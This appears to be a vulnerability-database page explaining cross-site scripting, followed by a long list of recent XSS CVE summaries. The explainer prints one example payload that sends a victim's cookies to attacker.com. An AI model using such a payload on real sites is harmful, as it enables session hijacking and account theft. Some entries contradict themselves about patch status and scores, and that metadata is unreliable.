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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38987)

EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Relations in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Bookmark Editor in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 3dexperience Enovia
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting 3DDashboard in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

An improper neutralization of input during web page generation in FortiWLC version 8.6.0, version 8.5.3 and below, version 8.4.8 and below, version 8.3.3 web interface may allow both authenticated. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortiwlc
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

An Improper Neutralization of Input vulnerability affecting FortiGate version 6.2.0 through 6.2.1, 6.0.0 through 6.0.6 in the hostname parameter of a DHCP packet under DHCP monitor page may allow an. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fortinet Fortios
NVD
EPSS 0% CVSS 4.1
MEDIUM This Month

An improper neutralization of input during web page generation in the SSL VPN portal of FortiProxy version 2.0.0, version 1.2.9 and below and FortiOS version 6.2.1 and below, version 6.0.8 and below,. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortiproxy +1
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Vehicle Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in PHPGurukul Human Metapneumovirus Testing Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Human Metapneumovirus Testing Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Human Metapneumovirus Testing Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Human Metapneumovirus Testing Management System
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in gougucms 4.08.18. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability classified as problematic was found in lenve VBlog up to 1.0.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Java Vblog
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

A vulnerability was found in Mercurial SCM 4.5.3/71.19.145.211. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Suse
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability has been found in VAM Virtual Airlines Manager 2.6.2 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in StarSea99 starsea-mall 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Starsea Mall
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in otale Tale Blog 2.0.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tale Blog
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

The GDPR Cookie Compliance WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The GDPR Cookie Compliance WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 3.5
LOW Monitor

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The GDPR Cookie Compliance WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Poll Maker WordPress plugin before 5.5.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Poll Maker
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability classified as problematic was found in Drivin Soluções up to 20250226. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in PrivateContent WordPress plugin through version 8.11.5 allows remote attackers to inject malicious JavaScript into victim browsers by crafting specially-formed URLs. The vulnerability requires user interaction (victim must click malicious link) but no authentication. Exploitation probability is low (EPSS 9%, 26th percentile) with no active exploitation confirmed and no CISA KEV listing. Patchstack has documented this vulnerability, indicating security research awareness.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maennchen1.de m1.DownloadList allows DOM-Based XSS.DownloadList: from n/a through 0.19. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in WP AntiDDOS WordPress plugin versions through 2.0 allows remote attackers to execute arbitrary JavaScript in victim browsers through crafted URLs requiring user interaction. Reported by Patchstack with CVSS 7.1 due to changed scope, though EPSS score of 0.09% (26th percentile) indicates low observed exploitation probability. No active exploitation confirmed via CISA KEV and no public proof-of-concept identified at time of analysis.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in Debug-Bar-Extender WordPress plugin versions through 0.5 allows remote attackers to execute arbitrary JavaScript in victim browsers via crafted URLs. This requires user interaction (victim must click a malicious link) but no authentication. Exploitation probability is low (EPSS 0.09%, 26th percentile) with no evidence of active exploitation or public proof-of-concept code at time of analysis. The vulnerability affects a WordPress debugging tool typically used in development environments, reducing real-world exposure.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in WP Discord Post WordPress plugin versions up to 2.1.0 enables remote attackers to execute arbitrary JavaScript in victim browsers via malicious links. Exploitation requires victim interaction (clicking a crafted URL) but no authentication, achieving cross-site scope impact with potential session hijacking and account takeover. Reported by Patchstack's audit team with EPSS exploitation probability at 0.09% (26th percentile), indicating low observed exploitation activity. No CISA KEV listing confirms this remains a theoretical risk rather than widespread active threat.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Pre Order Addon for WooCommerce versions through 2.2 allows remote attackers to execute malicious JavaScript in victim browsers via specially crafted URLs. The vulnerability requires victim interaction (UI:R) and enables cross-site scope (S:C) attacks, potentially leading to session hijacking, credential theft, or malicious actions performed in the context of authenticated WooCommerce administrators. EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation, with no public exploit code or CISA KEV listing identified. This is a typical stored input validation flaw in WordPress plugin development affecting e-commerce environments.

WordPress XSS Java
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Random Image Selector WordPress plugin versions through 2.4 allows remote attackers to execute arbitrary JavaScript in victim browsers when users click malicious links. The vulnerability requires user interaction (UI:R) but no authentication (PR:N), enabling attacks via phishing or social engineering. EPSS score of 0.09% (26th percentile) indicates low exploitation probability. No public exploit identified at time of analysis, and vulnerability is not present in CISA KEV, suggesting limited real-world targeting despite medium-high CVSS 7.1.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in Random Posts, Mp3 Player + ShareButton WordPress plugin through version 1.4.1 allows remote attackers to inject malicious scripts that execute in victim browsers with changed security context (scope change indicated in CVSS). Discovered by Patchstack security audit team. EPSS score of 0.08% (23rd percentile) indicates low current exploitation probability in the wild, and no active exploitation confirmed by CISA KEV. No public exploit code identified at time of analysis, though XSS vulnerabilities typically have low weaponization barriers.

XSS
NVD
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The WP Test Email plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Email Logs in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Test Email +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Traveler theme for WordPress is vulnerable to Reflected Cross-Site Scripting via multiple parameters in all versions up to, and including, 3.1.8 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Traveler +1
NVD
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The WordPress form builder plugin for contact forms, surveys and quizzes - Tripetto plugin for WordPress is vulnerable to Stored Cross-Site Scripting via attachment uploads in all versions up to, and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

WordPress XSS Tripetto
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The pixelstats plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'post_id' and 'sortby' parameters in all versions up to, and including, 0.8.2 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Pixelstats +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Zoorum Comments plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress CSRF XSS +2
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

WeGIA is Web manager for charitable institutions A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `adicionar_tipo_docs_atendido.php` endpoint in versions of the WeGIA. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

HtmlSanitizer is a client-side HTML Sanitizer. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

There is a reflected cross-site scripting (XSS) within JSP files used to control application appearance. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Logicaldoc
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

The Leica Web Viewer within the Aperio Eslide Manager Application is vulnerable to reflected cross-site scripting (XSS). Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Microsoft XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

The GLPI Inventory Plugin handles various types of tasks for GLPI agents for the GLPI asset and IT management software package. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 7.5
HIGH This Week

An improper neutralization of input during web page Generation vulnerability [CWE-79] in FortiOS version 7.4.3 and below, version 7.2.7 and below, version 7.0.13 and below and FortiProxy version. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS Fortinet Fortios +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The DethemeKit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the De Product Display Widget (countdown feature) in all versions up to, and including, 2.1.9 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Dethemekit For Elementor +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The CM FAQ - Simplify support with an intuitive FAQ management tool plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the component index.php of Rafed CMS Website v1.44 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Rafed Cms Website
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

An authenticated stored cross-site scripting (XSS) vulnerability in The Plugin People Enterprise Mail Handler for Jira Data Center (JEMH) before v4.1.69-dc allows attackers with Administrator. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Atlassian XSS Enterprise Mail Handler
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A HTML Injection vulnerability was found in loginsystem/edit-profile.php of the PHPGurukul User Registration & Login and User Management System V3.3. Rated medium severity (CVSS 5.3), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS User Registration Login And User Management System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability has been identified in MODX prior to 3.1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Modx
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting vulnerability exists in FS model S3150-8T2F switches running firmware s3150-8t2f-switch-fsos-220d_118101 and web firmware v2.2.2, which allows an authenticated web. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS S3150 8T2F Firmware
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in PecanProject pecan through v.1.8.0 allows a remote attacker to execute arbitrary code via the crafted payload to the hostname, sitegroupid, lat, lon and sitename. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Pecan
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Italtel S.p.A. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Mcs Nfv
NVD
EPSS 0% CVSS 4.7
MEDIUM POC This Month

Cross Site Scripting vulnerability in Zadarma Zadarma extension v.1.0.11 allows a remote attacker to execute a arbitrary code via a crafted script to the webchat component. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

RCE XSS Zadarma
NVD GitHub
EPSS 0% CVSS 7.1
HIGH POC This Week

The WoWPth WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wowpth +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WoWPth WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wowpth +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Limit Bio WordPress plugin through 1.0 does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress CSRF XSS +2
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WP Click Info WordPress plugin through 2.7.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Click Info +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Schedule WordPress plugin through 1.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Schedule
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WP e-Customers Beta WordPress plugin through 0.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp E Customers Beta
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Limit Bio WordPress plugin through 1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Limit Bio
NVD WPScan
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The AppPresser - Mobile App Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 4.4.10 due to insufficient. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Apppresser +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Roundup Recipe Name field in all versions up to, and including, 9.8.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The CC-IMG-Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'img' shortcode in all versions up to, and including, 1.1.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.2
MEDIUM This Month

An issue was discovered in BMC Remedy Mid Tier 7.6.04. Rated medium severity (CVSS 4.2), this vulnerability is remotely exploitable. No vendor patch available.

XSS Remedy Mid Tier
NVD
EPSS 0% CVSS 5.6
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Felix HTTP Webconsole Plugin.X through 1.2.0. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

Apache XSS Felix Http Webconsole Plugin
NVD
EPSS 23% 4.8 CVSS 5.4
MEDIUM POC KEV THREAT This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0 and 10.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Actively exploited in the wild (cisa kev) and public exploit code available.

XSS Zimbra Collaboration Suite
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0 and 10.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Collaboration
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The ShopLentor - WooCommerce Builder for Elementor & Gutenberg +20 Modules - All in One Solution (formerly WooLentor) plugin for WordPress is vulnerable to a Stored DOM-Based Cross-Site Scripting via. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Shoplentor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Finale Lite - Sales Countdown Timer & Discount for WooCommerce plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the countdown timer in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Finale
NVD
EPSS 0% CVSS 4.4
MEDIUM POC This Month

The GDPR Cookie Compliance - Cookie Banner, Cookie Consent, Cookie Notice - CCPA, DSGVO, RGPD plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress XSS Gdpr Cookie Compliance +1
NVD WPScan
EPSS 0% CVSS 4.4
MEDIUM This Month

The BlogBuzzTime for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Blogbuzztime For Wp +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Simple Amazon Affiliate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'msg' parameter in all versions up to, and including, 1.0.9 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Simple Amazon Affiliate +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The binlayerpress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Binlayerpress +1
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in Microweber 2.0.19. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microweber
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW Monitor

A vulnerability was found in Castlenet CBW383G2N versions up to 20250301. is affected by cross-site scripting (xss) (CVSS 2.4).

XSS
NVD VulDB
EPSS 0% CVSS 2.4
LOW Monitor

A vulnerability was found in Castlenet CBW383G2N versions up to 20250301. is affected by cross-site scripting (xss) (CVSS 2.4).

XSS
NVD VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability was found in aitangbao springboot-manager 3.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /sysDictDetail/add. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability has been found in aitangbao springboot-manager 3.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /sysJob/add. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, was found in aitangbao springboot-manager 3.0. Affected is an unknown function of the file /sysDict/add. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, has been found in aitangbao springboot-manager 3.0. This issue affects some unknown processing of the file /sysFiles/upload of the component Filename Handler. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mylo2h2s DP ALTerminator - Missing ALT manager allows Stored XSS. This issue affects DP ALTerminator - Missing ALT manager: from n/a through 1.0.2. [CVSS 5.9 MEDIUM]

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in lavacode Lava Ajax Search allows Stored XSS. This issue affects Lava Ajax Search: from n/a through 1.1.9. [CVSS 5.9 MEDIUM]

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sakurapixel Lunar allows Stored XSS. This issue affects Lunar: from n/a through 1.3.0. [CVSS 5.9 MEDIUM]

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

